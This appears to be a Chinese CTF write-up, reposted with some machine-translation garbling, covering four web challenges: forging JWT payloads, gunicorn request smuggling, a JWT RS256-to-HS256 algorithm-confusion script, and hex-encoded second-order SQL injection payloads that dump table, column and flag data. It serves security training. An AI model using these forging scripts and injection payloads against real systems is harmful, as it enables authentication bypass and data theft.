文笔有限,大佬轻喷。
1. 签到:这是一个登录页面
按照页面提示,拼接访问:/login。
构造哀求包,以json格式传输,返回一串JWT密文。
JWT密文解码如下:
拿到JWT密文之后思路忽然就断了。实行查看页面源码、访问robots文件等寻找hint,在robots文件中得知还存在/fulage
拼接访问:/fulage
实行构造哀求包,发现需要token。
将/login处得到的token构造后直接发送,提示我们不是admin。
实行修改JWT对应的payload部分,即伪造用户。
再次发送JWT,拿到flag。
2. web2
构造哀求包,提示访问/admin
访问/admin,返回FORBIDDEN
相应包中含有:Server: gunicorn/20.0.4,存在哀求走私毛病。参考链接:gunicorn哀求走私毛病
n version 20.0.4 of gunicorn there is a request smuggling vulnerability which works regardless of which proxy is used in front of gunicorn. It is caused by special parsing of the Sec-Websocket-Key1 header.
在 gunicorn 的 20.0.4 版本中,存在一个哀求走私毛病,无论在 gunicorn 前面使用哪个署理,该毛病都会起作用。这是由 Sec-Websocket-Key1 标头的特别解析引起的。
实行构造哀求包。
伪造UA。
第二段哀求中拼接访问:/fl4g
伪造XFF,拿到flag。
3. 这又是一个登录页面
任意输入账号密码,相应包中返回一串JWT,并重定向到/fl4g
对JWT举行解码,可以查看到相应的信息。
发送相应的哀求信息,权限不足。
实行寻找secert,无果。在robots文件找找到公钥信息。
JWT最常用的两种算法是HMAC和RSA。HMAC(对称加密算法)用同一个密钥对token举行签名和认证。而RSA(非对称加密算法)需要两个密钥,先用私钥加密生成JWT,然后使用其对应的公钥来解密验证。
如果将算法RS256修改为HS256,后端代码会使用公钥作为秘密密钥,然后使用HS256算法验证签名。由于公钥偶尔可以被攻击者获取到,所以攻击者可以修改header中算法为HS256,然后使用RSA公钥对数据举行签名。如果将alg参数改成HS256,如许就将算法RS256修改为HS256,让服务器不使用对称加密,转而使用非对称加密算法。
所以下一步思路是修改算法,使用公钥对数据举行加密,参考:JWT攻击,编写脚本如下:
- import jwt
- public = open('public.pem', 'r').read()
- print(jwt.encode({"account": "@dministr@t0r"}, key=public, algorithm='HS256'))
复制代码 注意导入PyJWT模块,直接运行会报错。
直接定位到相应模块,注释掉关键代码即可。
运行代码,拿到伪造的JWT密文。
构造哀求包并发送,拿到flag。
4. html训练生
存在登录框,习惯性测试SQL注入、弱口令,均无果,来到注册处,注意UserID必须为数字。
注册完账号后直接登录。
“登录日记查看”处可以登录UserID、登录IP地点以及登录时间,可以实行二次注入。在没有源码的情况下,实现二次注入相对较难。但可以实行分析后端功能:在登录体系后,会记录登录IP、UserID,那么大概率存在一个查询这些信息并将其插入到相应表中的动作。
UserID可控,但是只能为数字,猜测后端使用了is_numerice()函数,该函数识别16进制。那么就将插入、查询信息的流程连贯起来了。
- mysql> insert into admin (id,name,pass) values ('3',0x61646D696E27313131,'11');
- Query OK, 1 row affected (0.00 sec)
- mysql> select * from admin;
- +----+-----------+-------+
- | id | name | pass |
- +----+-----------+-------+
- | 1 | admin | admin |
- | 2 | admin'111 | 11111 |
- | 3 | admin'111 | 11 |
- +----+-----------+-------+
- 4 rows in set (0.00 sec)
复制代码
- ','a',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'c')#
复制代码 将其转换为十六进制,注意加上0x前缀符号。
- ','a',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='injectflag'),'c')#
复制代码
- ','a',(select group_concat(fl4g) from injectflag),'c')#
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |